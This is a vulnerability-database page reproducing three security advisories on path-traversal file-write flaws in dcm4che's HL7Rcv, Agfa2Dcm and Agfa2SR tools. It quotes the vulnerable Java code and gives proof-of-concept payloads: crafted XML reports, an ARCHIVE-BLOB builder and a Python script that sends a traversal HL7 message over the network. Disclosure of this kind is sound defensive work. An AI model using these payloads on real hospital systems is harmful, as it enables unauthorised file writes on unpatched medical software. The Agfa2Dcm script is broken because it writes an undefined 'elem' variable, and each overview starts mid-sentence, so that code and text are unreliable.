GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
unknown dcm4che Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "dcm4che",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-080\nProduct:                   dcm4che\nManufacturer:              J4Care\nAffected Version(s):       5.35.0\nTested Version(s):         5.35.0\n\nRisk Level:                High\nSolution Status:           Open\nManufacturer Notification: 2026-08-06\nPublic Disclosure:         2026-10-13\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\n\nand transmitting DICOM data (see [1]).\n\nThe Agfa2SR command-line tool in dcm4che is vulnerable to a path traversal\nattack. An attacker who can supply an Agfa XML SR (Structured Report) file\nfor processing with Agfa2SR can write files outside the configured output\ndirectory by injecting \"../\" sequences into the StudyInstanceUID field.\n\nThis allows attackers to achieve arbitrary file write on the target system.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe Agfa2SR tool converts Agfa XML SR reports into DICOM or XML output\nfiles. It processes files containing reports delimited by\n\u003cagfa:DiagnosticRadiologyReport\u003e...\u003c/agfa:DiagnosticRadiologyReport\u003e tags.\n\nTwo path traversal vectors exist in the tool:\n\nVector 1: getWriter path (Agfa2SR.java:268-271)\n\nWhen no XSLT stylesheet is configured (via the -x none flag), the report\nis written as XML. The StudyInstanceUID extracted from the input XML is\nused directly as the output filename without validation:\n\n  private BufferedWriter getWriter(String outDir, String siuid) {\n      return Files.newBufferedWriter(\n          Paths.get(outDir, siuid + \".xml\"),  // NO path validation\n          StandardCharsets.UTF_8);\n  }\n\n\nVector 2: DICOM output path (Agfa2SR.java:240)\n\nWhen an XSLT stylesheet is configured, the report is converted to DICOM\nand the filename is derived from DICOM attribute values via\nAttributesFormat.format(). The default format pattern is {0020000D}\n(StudyInstanceUID):\n\n  File file = new File(outDir, format.format(attrs));\n\nIf an attacker provides an Agfa SR report XML containing\n\u003cStudyInstanceUID\u003e../outside_agfa2sr\u003c/StudyInstanceUID\u003e, the resulting\nfile path for Vector 1 resolves to:\n\n  Paths.get(outDir, \"../outside_agfa2sr.xml\")\n\nwhich is the parent directory of outDir. For Vector 2, a StudyInstanceUID\ncontaining \"../\" in its DICOM attribute value similarly escapes the output\ndirectory via the format.format() substitution.\n\nA crafted Agfa SR report XML is straightforward to construct. It requires\nthe START_OF_REPORT marker (\u003cagfa:DiagnosticRadiologyReport), the\nStudyInstanceUID element containing the traversal payload, and an\nEND_OF_REPORT marker (\u003c/agfa:DiagnosticRadiologyReport\u003e). The agfa2sr\nbinary processes such input without error.\n\nThe root cause is the missing validation of the StudyInstanceUID and\nformat.format() output before their use in file path operations.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe path traversal (vector 1) can be demonstrated by creating an Agfa SR\nreport with a path traversal payload in the StudyInstanceUID field.\n\ncat \u003e report1.xml \u003c\u003c \u0027EOF\u0027\n\u003cagfa:DiagnosticRadiologyReport xmlns:agfa=\"http://agfa.com\";\u003e\n\u003cStudyInstanceUID\u003e../outside_agfa2sr\u003c/StudyInstanceUID\u003e\n\u003cPatientName\u003eTest^Patient\u003c/PatientName\u003e\n\u003c/agfa:DiagnosticRadiologyReport\u003e\nEOF\n\nThe output directory for agfa2sr (in this example \"/tmp/output\") has to\nexist.\n\nRunning agfa2sr with no XSLT, which triggers the \"getWriter\" path, writes\nthe file \"/tmp/outside_agfa2sr.xml\" one directory level above the\nconfigured output directory.\n\nagfa2sr -x none -d /tmp/output report1.xml\n\n\nThe path traversal (vector 2) allows writes to directies that do not already\nexist. The output directory (in this example \"/tmp/output\") has to exist.\n\ncat \u003e report2.xml \u003c\u003c \u0027EOF\u0027\n\u003cagfa:DiagnosticRadiologyReport xmlns:agfa=\"http://www.agfa.com/hc\";\u003e\n  \u003cStudyInstanceUID\u003e../outside_agfa2sr/poc\u003c/StudyInstanceUID\u003e\n  \u003cOrderDetails\u003e\n    \u003cAccessionNumber\u003ePOC\u003c/AccessionNumber\u003e\n    \u003cReferringPhysician\u003e\n      \u003cName\u003e\n        \u003cSingleByteName\u003e\n          \u003cLastName\u003eDoe\u003c/LastName\u003e\n          \u003cFirstName\u003eJohn\u003c/FirstName\u003e\n        \u003c/SingleByteName\u003e\n      \u003c/Name\u003e\n    \u003c/ReferringPhysician\u003e\n    \u003cStudyDetails\u003e\n      \u003cStudyInstanceUID\u003e../outside_agfa2sr/poc\u003c/StudyInstanceUID\u003e\n      \u003cStudyDescription\u003ePOC Scan\u003c/StudyDescription\u003e\n      \u003cReasonForStudy\u003eSecurity testing\u003c/ReasonForStudy\u003e\n    \u003c/StudyDetails\u003e\n  \u003c/OrderDetails\u003e\n  \u003cPatientDetails\u003e\n    \u003cName\u003e\n      \u003cSingleByteName\u003e\n        \u003cLastName\u003ePOC\u003c/LastName\u003e\n        \u003cFirstName\u003eVector2\u003c/FirstName\u003e\n      \u003c/SingleByteName\u003e\n    \u003c/Name\u003e\n    \u003cId\u003e\n      \u003cIdText\u003ePAT001\u003c/IdText\u003e\n      \u003cIdDomain\u003eHospital\u003c/IdDomain\u003e\n    \u003c/Id\u003e\n    \u003cBirthDate\u003e19800101\u003c/BirthDate\u003e\n    \u003cSex\u003eM\u003c/Sex\u003e\n  \u003c/PatientDetails\u003e\n  \u003cReportDetails\u003e\n    \u003cReportStatus\u003ePreliminary\u003c/ReportStatus\u003e\n    \u003cInterpretationRecordDate\u003e20260101\u003c/InterpretationRecordDate\u003e\n    \u003cInterpretationRecordTime\u003e120000\u003c/InterpretationRecordTime\u003e\n    \u003cReportBody\u003ePath traversal PoC for SYSS-2026-080 Vector 2\u003c/ReportBody\u003e\n  \u003c/ReportDetails\u003e\n\u003c/agfa:DiagnosticRadiologyReport\u003e\nEOF\n\nRunning agfa2sr with this report creates the file \"../outside_agfa2sr/poc\"\noutside the specified output directory in a new directory.\n\nagfa2sr -d /tmp/output report2.xml\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-08-06: Vulnerability reported to manufacturer\n2026-09-04: Vulnerability reported to manufacturer again\n2026-10-13: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] dcm4che project website\n    https://www.dcm4che.org/\n[2] SySS Security Advisory SYSS-2026-080\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T07:30:01Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/25"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Oct/25"
        },
        {
          "url": "http://agfa.com\""
        },
        {
          "url": "http://www.agfa.com/hc\""
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.dcm4che.org/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Oct/25"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-080]: dcm4che - Path Traversal (CWE-22)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0478",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/25",
            "automated": true,
            "contentSha256": "1762a53aa93c278b68708182b37a79edf19ab8062550cc2e8fb33b860edcb6ea",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/25",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-15T07:32:10Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T07:30:01Z",
    "dateUpdated": "2026-11-02T07:30:01Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0478"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0477

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
[SYSS-2026-079]: dcm4che - Path Traversal (CWE-22)
Summary
Advisory ID: SYSS-2026-079 Product: dcm4che Manufacturer: J4Care Affected Version(s): 5.35.0 Tested Version(s): 5.35.0 Risk Level: High Solution Status: Open Manufacturer Notification: 2026-08-06 Public Disclosure: 2026-10-13 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: and transmitting DICOM data (see [1]). The Agfa2Dcm command-line tool in dcm4che is vulnerable to a path traversal attack. An attacker who can supply an Agfa ARCHIVE-BLOB DICOM file for processing with Agfa2Dcm can write extracted data outside the configured output directory by injecting "../" sequences into DICOM attribute values. This allows attackers to achieve arbitrary file write on the target system. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The Agfa2Dcm tool processes Agfa ARCHIVE-BLOB DICOM files by extracting embedded file entries. Each entry's output path is constructed using AttributesFormat.format(), which substitutes DICOM attribute values into a configurable filename pattern (see Agfa2Dcm.java:140): list.add(part = new Part(format.format(attrs), dis.getPosition() + headerLength)); The default format pattern is {00080018} (SOPInstanceUID). The formatted result is used directly as a file path component when extracting the embedded data (Agfa2Dcm.java:146-149): Path outPath = Paths.get(outDir, part.path); Files.createDirectories(outPath.getParent()); try (OutputStream out = Files.newOutputStream(outPath)) { StreamUtils.copy(in, out, part.length, buffer); } No path validation is performed. If a DICOM attribute value contains "../" sequences, the resulting path escapes the configured output directory. A crafted ARCHIVE-BLOB file can be created by encoding the file padding (16384 bytes of zeros), the "ARCHIVE-BLOB" header (12 bytes), and DICOM data elements including a (0008,0018) SOPInstanceUID element with a path traversal payload as its value. The agfa2dcm binary processes such a file without error, writing the extracted data outside the intended directory. The root cause is the missing validation of format.format() output before its use in file path operations. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The path traversal can be demonstrated by creating an ARCHIVE-BLOB file with a path traversal payload in the SOPInstanceUID field, for example, using the following Python script. The output directory for agfa2dcm (in this example "/tmp/output") has to exist. cat > poc.py << 'EOF' #!/usr/bin/env python3 import struct, subprocess, os TRAVERSAL = "../outside_agfa2dcm" # Build DICOM element: (0008,0018) VR=UI value=../outside_agfa2dcm val = TRAVERSAL.encode('ascii') # ARCHIVE-BLOB file: 16384 zeros + header + DICOM element with open("malicious.blob", "wb") as f: f.write(b'\x00' * 16384) f.write(b"ARCHIVE-BLOB") f.write(elem) # Run agfa2dcm # agfa2dcm -d /tmp/output malicious.blob # Verify: file written at /tmp/outside_agfa2dcm (outside /tmp/output) EOF The file is written to /tmp/outside_agfa2dcm, one directory level above the configured output directory, confirming the path traversal. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: SySS GmbH is not aware of a security update for the described issue. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-08-06: Vulnerability reported to manufacturer 2026-09-04: Vulnerability reported to manufacturer again 2026-10-13: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] dcm4che project website https://www.dcm4che.org/ [2] SySS Security Advisory SYSS-2026-079 [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of SySS GmbH with the assistance of SySS AI. E-Mail: matthias.deeg (at) syss.de Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
unknown dcm4che Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "dcm4che",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-079\nProduct:                   dcm4che\nManufacturer:              J4Care\nAffected Version(s):       5.35.0\nTested Version(s):         5.35.0\n\nRisk Level:                High\nSolution Status:           Open\nManufacturer Notification: 2026-08-06\nPublic Disclosure:         2026-10-13\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\n\nand transmitting DICOM data (see [1]).\n\nThe Agfa2Dcm command-line tool in dcm4che is vulnerable to a path traversal\nattack. An attacker who can supply an Agfa ARCHIVE-BLOB DICOM file for\nprocessing with Agfa2Dcm can write extracted data outside the configured\noutput directory by injecting \"../\" sequences into DICOM attribute values.\n\nThis allows attackers to achieve arbitrary file write on the target system.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe Agfa2Dcm tool processes Agfa ARCHIVE-BLOB DICOM files by extracting\nembedded file entries. Each entry\u0027s output path is constructed using\nAttributesFormat.format(), which substitutes DICOM attribute values into a\nconfigurable filename pattern (see Agfa2Dcm.java:140):\n\n  list.add(part = new Part(format.format(attrs),\n          dis.getPosition() + headerLength));\n\nThe default format pattern is {00080018} (SOPInstanceUID). The formatted\nresult is used directly as a file path component when extracting the\nembedded data (Agfa2Dcm.java:146-149):\n\n  Path outPath = Paths.get(outDir, part.path);\n  Files.createDirectories(outPath.getParent());\n  try (OutputStream out = Files.newOutputStream(outPath)) {\n      StreamUtils.copy(in, out, part.length, buffer);\n  }\n\nNo path validation is performed. If a DICOM attribute value contains\n\"../\" sequences, the resulting path escapes the configured output\ndirectory.\n\nA crafted ARCHIVE-BLOB file can be created by encoding the file\npadding (16384 bytes of zeros), the \"ARCHIVE-BLOB\" header (12 bytes),\nand DICOM data elements including a (0008,0018) SOPInstanceUID element\nwith a path traversal payload as its value. The agfa2dcm binary processes\nsuch a file without error, writing the extracted data outside the intended\ndirectory.\n\nThe root cause is the missing validation of format.format() output before\nits use in file path operations.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe path traversal can be demonstrated by creating an ARCHIVE-BLOB file\nwith a path traversal payload in the SOPInstanceUID field, for example,\nusing the following Python script.\n\nThe output directory for agfa2dcm (in this example \"/tmp/output\") has to\nexist.\n\ncat \u003e poc.py \u003c\u003c \u0027EOF\u0027\n#!/usr/bin/env python3\nimport struct, subprocess, os\n\nTRAVERSAL = \"../outside_agfa2dcm\"\n\n# Build DICOM element: (0008,0018) VR=UI value=../outside_agfa2dcm\nval = TRAVERSAL.encode(\u0027ascii\u0027)\n\n\n# ARCHIVE-BLOB file: 16384 zeros + header + DICOM element\nwith open(\"malicious.blob\", \"wb\") as f:\n  f.write(b\u0027\\x00\u0027 * 16384)\n  f.write(b\"ARCHIVE-BLOB\")\n  f.write(elem)\n\n# Run agfa2dcm\n# agfa2dcm -d /tmp/output malicious.blob\n\n# Verify: file written at /tmp/outside_agfa2dcm (outside /tmp/output)\nEOF\n\nThe file is written to /tmp/outside_agfa2dcm, one directory level above the\nconfigured output directory, confirming the path traversal.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-08-06: Vulnerability reported to manufacturer\n2026-09-04: Vulnerability reported to manufacturer again\n2026-10-13: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] dcm4che project website\n    https://www.dcm4che.org/\n[2] SySS Security Advisory SYSS-2026-079\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T07:30:01Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/24"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Oct/24"
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.dcm4che.org/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Oct/24"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-079]: dcm4che - Path Traversal (CWE-22)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0477",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/24",
            "automated": true,
            "contentSha256": "0551f772d8fb9c79e712550e2c028edd0819ec63fd8e767b357564d38a60147f",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/24",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-15T07:32:08Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T07:30:01Z",
    "dateUpdated": "2026-11-02T07:30:01Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0477"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0476

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
[SYSS-2026-078]: dcm4che - Path Traversal (CWE-22)
Summary
Advisory ID: SYSS-2026-078 Product: dcm4che Manufacturer: J4Care Affected Version(s): 5.35.0 Tested Version(s): 5.35.0 Risk Level: High Solution Status: Open Manufacturer Notification: 2026-08-06 Public Disclosure: 2026-10-13 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: and transmitting DICOM data (see [1]). The HL7Rcv command-line tool in dcm4che is vulnerable to a path traversal attack. An attacker who can send HL7 MLLP messages to a running HL7Rcv server can write arbitrary files outside the configured storage directory by injecting "../" sequences into the HL7 MSH-9 (Message Type) field. This allows unauthenticated remote attackers to achieve arbitrary file write on the target system. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The HL7Rcv tool receives HL7 messages over the Minimal Lower Layer Protocol (MLLP) via TCP. When a message is received and stored, the HL7 message type field (MSH-9) is used directly as a directory name in a file constructor without any path sanitization (see HL7Rcv.java:254-259): private UnparsedHL7Message onMessage(UnparsedHL7Message msg) throws Exception { if (storageDir != null) storeToFile(msg.data(), new File( new File(storageDir, msg.msh().getMessageType()), useUUIDForFilename ? UUID.randomUUID().toString() : msg.msh().getField(9, "_NULL_"))); The getMessageType() method (HL7Segment.java) returns the raw MSH-9 field value verbatim. If an attacker sends an HL7 message where MSH-9 contains path traversal sequences (e.g. "../outside"), the resulting file path escapes the configured storage directory. The storeToFile() method (HL7Rcv.java:271-280) then calls mkdirs() to create the traversed directory structure and writes the file: private void storeToFile(byte[] data, File f) throws IOException { Connection.LOG.info("M-WRITE {}", f); f.getParentFile().mkdirs(); try (FileOutputStream out = new FileOutputStream(f)) { out.write(data); } } No path normalization or boundary check is performed. The MSH-10 (Message Control ID) field is used as the leaf filename, so the attacker controls both the traversal path (MSH-9) and the filename (MSH-10). Because HL7 MLLP carries no authentication, this attack can be executed from any network location with access to the HL7Rcv TCP port. A raw TCP connection sending a well-formed HL7 message with the MLLP framing bytes (SOM 0x0B / EOM 0x1C 0x0D) is sufficient. The root cause is the missing validation of the MSH-9 field value before it is used as a file path component. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The path traversal can be demonstrated by sending a crafted HL7 message over a raw TCP connection using the following Python script. The storage directory (in this example "/tmp/hl7storage") has to be created before starting hl7rcv and running the PoC exploit. cat > poc.py << 'EOF' #!/usr/bin/env python3 import socket, os # Start hl7rcv: hl7rcv --directory /tmp/hl7storage -b 127.0.0.1:25018 # Malicious HL7 message with path traversal in MSH-9 (directory) # and attacker-controlled filename in MSH-10 (Message Control ID) hl7 = ("MSH|^~\\&|SEND|-|RECV|-|" "20240101000000||../outside_hl7|exploit.log|P|2.5\r" "PID|1||12345||Test^Patient\r") mllp = b"\x0b" + hl7.encode("ascii") + b"\x1c\r" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("127.0.0.1", 25018)) sock.sendall(mllp) ack = sock.recv(4096) sock.close() # Verify: file written at /tmp/outside_hl7/exploit.log print(os.path.exists("/tmp/outside_hl7/exploit.log")) EOF The file is written to /tmp/outside_hl7/exploit.log, one directory level above the configured storage directory, confirming the path traversal. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: SySS GmbH is not aware of a security update for the described issue. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-08-06: Vulnerability reported to manufacturer 2026-09-04: Vulnerability reported to manufacturer again 2026-10-13: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] dcm4che project website https://www.dcm4che.org/ [2] SySS Security Advisory SYSS-2026-078 [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of SySS GmbH with the assistance of SySS AI. E-Mail: matthias.deeg (at) syss.de Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
